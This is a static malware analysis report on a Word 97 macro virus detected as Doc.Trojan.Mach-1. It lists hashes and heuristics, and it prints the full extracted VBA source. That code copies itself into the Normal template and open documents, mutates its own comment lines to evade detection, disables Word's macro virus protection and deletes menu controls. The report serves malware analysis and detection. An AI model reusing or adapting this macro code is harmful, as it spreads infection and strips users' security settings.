Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 606dc8115d79ef64…

MALICIOUS

Office (OLE)

39.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ce800c6ebb9fcde8e2f66bc3b6e5fd6e SHA-1: 25a1ce10f95023ef7cfb4c98c85195cc838cdee6 SHA-256: 606dc8115d79ef640fbb2b325d126c6b83207da94c0268b5166968c250fea446
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.Mach-1'. It contains a VBA macro that is triggered by the Document_Open event. This macro appears to be designed to copy itself and potentially download or execute additional malicious content, a common tactic for malware droppers.

Heuristics 3

  • ClamAV: Doc.Trojan.Mach-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mach-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13873 bytes
SHA-256: f99759577307ed6237d7febdbb001fcaf380aed572efbb4df1b8f059972f47f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Copy
Documents.Save NoPrompt:=True, OriginalFormat:=wdOriginalDocumentFormat
End Sub
Private Sub Document_New()
Pos = ThisDocument.Name
If Pos = NormalTemplate.FullName Then
                                       Copy
                                       If Month(Now) = 12 Then MsgBox "In December of 1513, Niccol?Machiavelli wrote:" + vbCr + vbCr + "Virt?contro a furore" + vbCr + "Prender?l'arme, e fia el combatter corto;" + vbCr + "Ch?l'antico valore" + vbCr + "Nell'italici cor non ?ancor morto." + vbCr + vbCr + "--==<<ITALIAN PoWeR>>==--" + vbCr + vbCr + "MAD T0Y is here!", vbApplicationModal + vbInformation + vbOKOnly + vbSystemModal, "Machiavelli Word 97 Virus Version 0.1?"
End If
End Sub
Private Sub Document_Open()
On Error Resume Next
Deprotect
End Sub
Private Sub Copy()
Pos = ThisDocument.Name
If Pos = NormalTemplate.Name Then
' AKFAHMDDYREPWCUCVXKEC
' LIRIUMRUSZGOSTYJGWWMQ
' YGZAOIGDNLXHUXVACKVV
   Set Start = NormalTemplate.VBProject.VBComponents(1).CodeModule
' OOZ
   Set Target = ActiveDocument.VBProject.VBComponents(1).CodeModule
' YAKPJ
                                   Else
   Set Start = ActiveDocument.VBProject.VBComponents(1).CodeModule
   Set Target = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
' -=<CoPy>=-
' KYRZACYKZOGEZID
' LMRCAPQGJTXSHFFEH
With Start
' HPKLHUIYXNHSNIPVMMFFTYDSBRD
' BPAHOENGIWQOLVTEPBECIKRBCHM
' JUV
' KLHUBYQGHSGIPOFMZZMRXLVKXFS
' MUDNXUPEJJILDADT
' BDQDJGPO
' QUVZLIXYORAF
' HTDQTRXZGRRWAZNVEOYVQFKKJME
' MWKMUZJQJCQBAPFOHJWJPMVUFQC
' JILX
    VirusCode = .Lines(1, .CountOflines)
End With
' KOPOQJFJYEEMOQLYFBULMWKNUZJ
With Target
' XTRXEMXRWHEUVLVYBXMRRQTEHLA
' BQYOSBF
' QTRXFNRRWIFUVLOYCXNKKJMEIMU
    .DeleteLines 1, .CountOflines
' ZAINYEYREQPDUCWYKYDAJIUERNK
    .InsertLines 1, VirusCode
End With
' JBGJHOWXHINZPDMBFPTNDABACWS
' SMLIRQBTZB
Lines = Start.CountOflines
Randomize Timer
' HUVRJABL
' UHHVZFTDTEOAOTQ
' UQIZ
' TC
NumberOfLines = Int(50 * Rnd) + 1
Delete$ = False
' NGHVZFTCTENUOMJTRCU
ReDim Position(NumberOfLines) As Long, Content(NumberOfLines) As String
' XGQNIYCCBEXUXMTSACD
For A = 1 To NumberOfLines
' NONPIEIXKDLNOKXLATRLVQMTYPP
' VAVUR
    Randomize Timer
    Position(A) = Int(Lines * Rnd) + 1
' PMWUFYCFDJSTDDIVL
    Content(A) = ""
    For B = 1 To 27
' CU
        Randomize Timer
' NNNPHLPXKKSNOKXLA
' ZGRLQBZOPEPSWQGLLKNZBFVAAIK
        Lettera = Int((27 * Rnd) + 64)
        If Lettera = 64 And Content(A) <> "" Then Exit For
        If Lettera = 64 And Content(A) = "" Then Lettera = Lettera + 1
        Content(A) = Content(A) + Chr$(Lettera)
' OQLYMBASMXSNUZQQKKYBIWGWHRX
' E
' QV
' L
' CHZZSLZKQYOXQSEZYVDCOZLOMST
    Next B
' APVVCEGBOWSKBCNADKP
Next A
For A = 1 To NumberOfLines
    If Left$(VBE.SelectedVBComponent.CodeModule.Lines(A, 1), 1) = "'" Then
' KRRZABYKSOGXZIXZGLWCWPCONBS
       VBE.SelectedVBComponent.CodeModule.DeleteLines A, 1
       DeleteBol = True
' XWZRORGUMVXYUGVKC
' A
       Delete = Delete + 1
' MZHNHGCMKWOTWU
       If Delete > NumberOfLines Then Exit For
' JCRBAPFPHJXJPMWUFQCZXCLSDXB
    End If
Next A
' OFGRFHOMDKYYLPWJUJVEREKGQHT
' XCKSCXBNK
' JUGJHNPXHHMSPDLVEOLGWAAACVS
' WQAWRYCUUOHVFMTKTLNAVTQ
If DeleteBol = False Then
   For A = 1 To NumberOfLines
       VBE.SelectedVBComponent.CodeModule.InsertLines Position(A), "' " + Content(A)
' VBASZLLZDJYHXJSESYVDVGZZB
   Next A
End If
End Sub
Private Sub Deprotect()
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("Tools").Controls(12).Delete
CommandBars("Tools").Controls(14).Delete
CommandBars("Format").Controls(12).Delete
End Sub

' Processing file: /opt/analyzer/scan_staging/4d7d31f0e47746bc8939afaa70a2f9bc.bin
' ============================
... (truncated)